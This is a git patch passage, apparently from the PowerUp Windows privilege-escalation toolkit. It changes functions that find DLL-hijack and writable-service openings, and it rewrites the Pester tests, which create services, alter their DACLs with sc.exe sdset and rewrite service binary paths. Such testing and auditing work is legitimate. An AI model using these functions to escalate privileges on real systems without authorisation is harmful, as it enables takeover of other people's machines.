[Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success2) { @@ -932,6 +932,7 @@ function Get-CurrentUserTokenGroupSid { $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { + # convert each token group SID to a displayable string $SidString = '' $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result -eq 0) { @@ -940,6 +941,7 @@ function Get-CurrentUserTokenGroupSid { else { $GroupSid = New-Object PSObject $GroupSid | Add-Member Noteproperty 'SID' $SidString + # cast the atttributes field as our SidAttributes enum $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) $GroupSid } @@ -948,7 +950,6 @@ function Get-CurrentUserTokenGroupSid { else { Write-Warning ([ComponentModel.Win32Exception] $LastError) } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) } else { @@ -1290,6 +1291,8 @@ function Test-ServiceDaclPermission { 'AllAccess' = [uint32]'0x000F01FF' } + $CheckAllPermissionsInSet = $False + if($PSBoundParameters['Permissions']) { $TargetPermissions = $Permissions } @@ -2274,11 +2277,10 @@ function Find-ProcessDLLHijack { [CmdletBinding()] Param( - [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('ProcessName')] [String[]] - [ValidateNotNullOrEmpty()] - $Name, + $Name = $(Get-Process | Select-Object -Expand Name), [Switch] $ExcludeWindows, @@ -2308,46 +2310,51 @@ function Find-ProcessDLLHijack { $TargetProcess = Get-Process -Name $ProcessName - if($TargetProcess.Path) { + if($TargetProcess.Path -and ($TargetProcess.Path -ne '')) { - $BasePath = $TargetProcess.Path | Split-Path -Parent + try { + $BasePath = $TargetProcess.Path | Split-Path -Parent - $LoadedModules = $TargetProcess.Modules + $LoadedModules = $TargetProcess.Modules - $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] + $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] - ForEach ($Module in $LoadedModules){ + ForEach ($Module in $LoadedModules){ - $ModulePath = "$BasePath\$($Module.ModuleName)" + $ModulePath = "$BasePath\$($Module.ModuleName)" - # if the module path doesn't exist in the process base path folder - if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + # if the module path doesn't exist in the process base path folder + if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { - $Exclude = $False + $Exclude = $False - if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { - $Exclude = $True - } + if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + $Exclude = $True + } - if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { - $Exclude = $True - } + if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + $Exclude = $True + } - if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { - $Exclude = $True - } + if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + $Exclude = $True + } - # output the process name and hijackable path if exclusion wasn't marked - if (-not $Exclude){ - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName - $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path - $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner - $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath - $Out + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName + $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path + $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner + $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out + } } } } + catch { + Write-Verbose "Error: $_" + } } } } @@ -3297,6 +3304,7 @@ function Get-SiteListPassword { https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md + https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf #> [CmdletBinding()] @@ -3662,37 +3670,37 @@ $FunctionDefinitions = @( # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ - QueryConfig = 0x00000001 - ChangeConfig = 0x00000002 - QueryStatus = 0x00000004 - EnumerateDependents = 0x00000008 - Start = 0x00000010 - Stop = 0x00000020 - PauseContinue = 0x00000040 - Interrogate = 0x00000080 - UserDefinedControl = 0x00000100 - Delete = 0x00010000 - ReadControl = 0x00020000 - WriteDac = 0x00040000 - WriteOwner = 0x00080000 - Synchronize = 0x00100000 - AccessSystemSecurity = 0x01000000 - GenericAll = 0x10000000 - GenericExecute = 0x20000000 - GenericWrite = 0x40000000 - GenericRead = 0x80000000 - AllAccess = 0x000F01FF + QueryConfig = '0x00000001' + ChangeConfig = '0x00000002' + QueryStatus = '0x00000004' + EnumerateDependents = '0x00000008' + Start = '0x00000010' + Stop = '0x00000020' + PauseContinue = '0x00000040' + Interrogate = '0x00000080' + UserDefinedControl = '0x00000100' + Delete = '0x00010000' + ReadControl = '0x00020000' + WriteDac = '0x00040000' + WriteOwner = '0x00080000' + Synchronize = '0x00100000' + AccessSystemSecurity = '0x01000000' + GenericAll = '0x10000000' + GenericExecute = '0x20000000' + GenericWrite = '0x40000000' + GenericRead = '0x80000000' + AllAccess = '0x000F01FF' } -Bitfield $SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ - SE_GROUP_ENABLED = 0x00000004 - SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 - SE_GROUP_INTEGRITY = 0x00000020 - SE_GROUP_INTEGRITY_ENABLED = 0xC0000000 - SE_GROUP_MANDATORY = 0x00000001 - SE_GROUP_OWNER = 0x00000008 - SE_GROUP_RESOURCE = 0x20000000 - SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010 + SE_GROUP_ENABLED = '0x00000004' + SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' + SE_GROUP_INTEGRITY = '0x00000020' + SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' + SE_GROUP_MANDATORY = '0x00000001' + SE_GROUP_OWNER = '0x00000008' + SE_GROUP_RESOURCE = '0x20000000' + SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' } -Bitfield $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ From 1b359e7875de1e8392224af8591d062fff89a525 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 17:47:10 -0400 Subject: [PATCH 154/296] Overhauled and completed PowerUp/Privesc Pester tests --- Tests/Privesc.tests.ps1 | 835 ++++++++++++++++++++++++++++++---------- 1 file changed, 622 insertions(+), 213 deletions(-) diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 999d712e..3641ecec 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -25,19 +25,59 @@ function Test-IsAdmin { ######################################################## # -# PowerUp helpers functions. +# PowerUp helper functions. # ######################################################## -Describe 'Get-ModifiableFile' { +Describe 'Get-ModifiablePath' { - It 'Should output a file path.' { + It 'Should output a file Path, Permissions, and IdentityReference in results.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiablePath result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiablePath result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiablePath result doesn't contain 'IdentityReference' field." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should output the correct file path in results.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should return the proper permission set.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.Permissions -notcontains 'WriteData/AddFile') { + Throw "Get-ModifiablePath result doesn't contain the proper permission set." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -51,8 +91,8 @@ Describe 'Get-ModifiableFile' { $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" try { - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.Path | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -62,148 +102,307 @@ Describe 'Get-ModifiableFile' { It 'Should return no results for a non-existent path.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Get-ModifiableFile -Path $FilePath + $Output = Get-ModifiablePath -Path $FilePath $Output | Should BeNullOrEmpty } - It 'Should accept a Path over the pipeline.' { + It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force - $Output = $FilePath | Get-ModifiableFile - $Output | Should BeNullOrEmpty + try { + $Output = $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should accept a file object over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ChildItem -Path $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } -Describe 'Test-ServiceDaclPermission' { +Describe 'Get-CurrentUserTokenGroupSid' { if(-not $(Test-IsAdmin)) { - Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." } - - It "Should fail finding 'sc.exe'." { + + It 'Should not throw.' { + {Get-CurrentUserTokenGroupSid} | Should Not Throw + } + + It 'Should return SIDs and Attributes.' { + $Output = Get-CurrentUserTokenGroupSid | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'SID') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'SID' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'Attributes' field." + } + } + + It 'Should return the local administrators group SID.' { + $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID + + if($CurrentUserSids -notcontains 'S-1-5-32-544') { + Throw "Get-CurrentUserTokenGroupSid result doesn't contain local administrators 'S-1-5-32-544' sid" + } + } +} + +Describe 'Add-ServiceDacl' { + + if(-not $(Test-IsAdmin)) { + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-Service | Add-ServiceDacl} | Should Not Throw + } + + It 'Should accept a service as a parameter argument.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = Add-ServiceDacl -Service $Service + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should accept a service object on the pipeline.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should return a correct service Dacl.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + # 'AllAccess' = [uint32]'0x000F01FF' + $Rights = $ServiceWithDacl.Dacl | Where-Object {$_.SecurityIdentifier -eq 'S-1-5-32-544'} + if(($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { + Throw "'Add-ServiceDacl' doesn't return the correct service Dacl." + } + } +} + +Describe 'Set-ServiceBinPath' { + + if(-not $(Test-IsAdmin)) { + Throw "'Set-ServiceBinPath' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + $ServicePath = 'C:\Program Files\service.exe' + + $Result = $False + {$Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath} | Should Throw + $Result | Should Be $False + } + + It 'Should throw with an empty binPath.' { + $ServiceName = Get-RandomName + {Set-ServiceBinPath -Name $ServiceName -binPath ''} | Should Throw + } + + It 'Should correctly set a service binary path.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - $DirectoryName = Get-RandomName - $env:SystemRoot = 'C:\\' + $DirectoryName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" - - sc.exe delete $ServiceName | Should Match "SUCCESS" - $env:SystemRoot = 'C:\Windows' + + $Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath + $Result | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed finding 'sc.exe'." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True + + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result | Should Be $True - $DirectoryName = Get-RandomName - New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory - New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File - $env:SystemRoot = $env:Temp + "\$DirectoryName" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath - Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" - $env:SystemRoot = 'C:\Windows' - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for a non-existent service." { +} + + +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { $ServiceName = Get-RandomName - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + {$Result = Test-ServiceDaclPermission -Name $ServiceName} | Should Throw } - - It "Should succeed querying WMI for an existenting service." { + + It 'Should throw with an empty name.' { + {Test-ServiceDaclPermission -Name ''} | Should Throw + } + + It 'Should throw with an invalid permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + {Test-ServiceDaclPermission -Name $ServiceName -Permissions 'nonexistent'} | Should Throw + } + + It 'Should throw with an invalid permission set parameter.' { + $ServiceName = Get-RandomName + {Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'nonexistent'} | Should Throw + } + + It 'Should succeed with an existing service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + + It 'Should succeed with an existing service.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + + It 'Should succeed with a permission parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } - - It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + + $Result = Test-ServiceDaclPermission -Name $ServiceName -Permissions 'AllAccess' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with a permission set parameter.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" - { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" - sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Result = Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'ChangeConfig' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + + It 'Should accept a service name as a string on the pipeline.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" - $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 + + $Result = $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - - it "Should fail finding the service DACL value of 'WP' for the current user." { + + It "Should fail for an existing service due to insufficient DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + {Test-ServiceDaclPermission -Name $ServiceName} | Should Throw + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } - it "Should succeed finding the service DACL value of 'WP' for the current user." { + It "Should succeed with for an existing service due to sufficient specific DACL permissions." { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" - Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True - sc.exe delete $ServiceName | Should Match "SUCCESS" - } + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } } ######################################################## @@ -225,13 +424,13 @@ Describe 'Get-ServiceUnquoted' { It 'Should return service with a space in an unquoted binPath.' { $ServiceName = Get-RandomName - $ServicePath = "C:\Program Files\service.exe" + $ServicePath = 'C:\Program Files\service.exe' - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should Not BeNullOrEmpty $Output.ServiceName | Should Be $ServiceName @@ -242,25 +441,25 @@ Describe 'Get-ServiceUnquoted' { $ServiceName = Get-RandomName $ServicePath = "'C:\Program Files\service.exe'" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + sc.exe delete $ServiceName | Should Match 'SUCCESS' $Output | Should BeNullOrEmpty } } -Describe 'Get-ServiceFilePermission' { +Describe 'Get-ModifiableServiceFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableServiceFile ' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServiceFilePermission} | Should Not Throw + {Get-ModifiableServiceFile} | Should Not Throw } It 'Should return a service with a modifiable service binary.' { @@ -269,14 +468,47 @@ Describe 'Get-ServiceFilePermission' { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" $Null | Out-File -FilePath $ServicePath -Force - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" - - $Output | Should Not BeNullOrEmpty - $Output.ServiceName | Should Be $ServiceName - $Output.Path | Should Be $ServicePath + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } | Select-Object -First 1 + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableServiceFile result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'ModifiableFile') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFile' field." + } + if ($Properties -notcontains 'ModifiableFilePermissions') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFilePermissions' field." + } + if ($Properties -notcontains 'ModifiableFileIdentityReference') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFileIdentityReference' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableServiceFile result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableServiceFile result doesn't contain 'CanRestart' field." + } + + if($Output.Path -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct Path for a modifiable service file." + } + + if($Output.ModifiableFile -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct ModifiableFile for a modifiable service file." + } + + $Output.CanRestart | Should Be $True + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } finally { $Null = Remove-Item -Path $ServicePath -Force @@ -287,29 +519,47 @@ Describe 'Get-ServiceFilePermission' { $ServiceName = Get-RandomName $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } $Output | Should BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' } } -Describe 'Get-ServicePermission' { +Describe 'Get-ModifiableService' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + Throw "'Get-ModifiableService' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-ModifiableService} | Should Not Throw } It 'Should return a modifiable service.' { - $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} + $Output = Get-ModifiableService | Where-Object { $_.ServiceName -eq 'Dhcp'} | Select-Object -First 1 $Output | Should Not BeNullOrEmpty + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableService result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableService result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableService result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableService result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableService result doesn't contain 'CanRestart' field." + } } } @@ -317,17 +567,26 @@ Describe 'Get-ServicePermission' { Describe 'Get-ServiceDetail' { It 'Should return results for a valid service.' { - $Output = Get-ServiceDetail 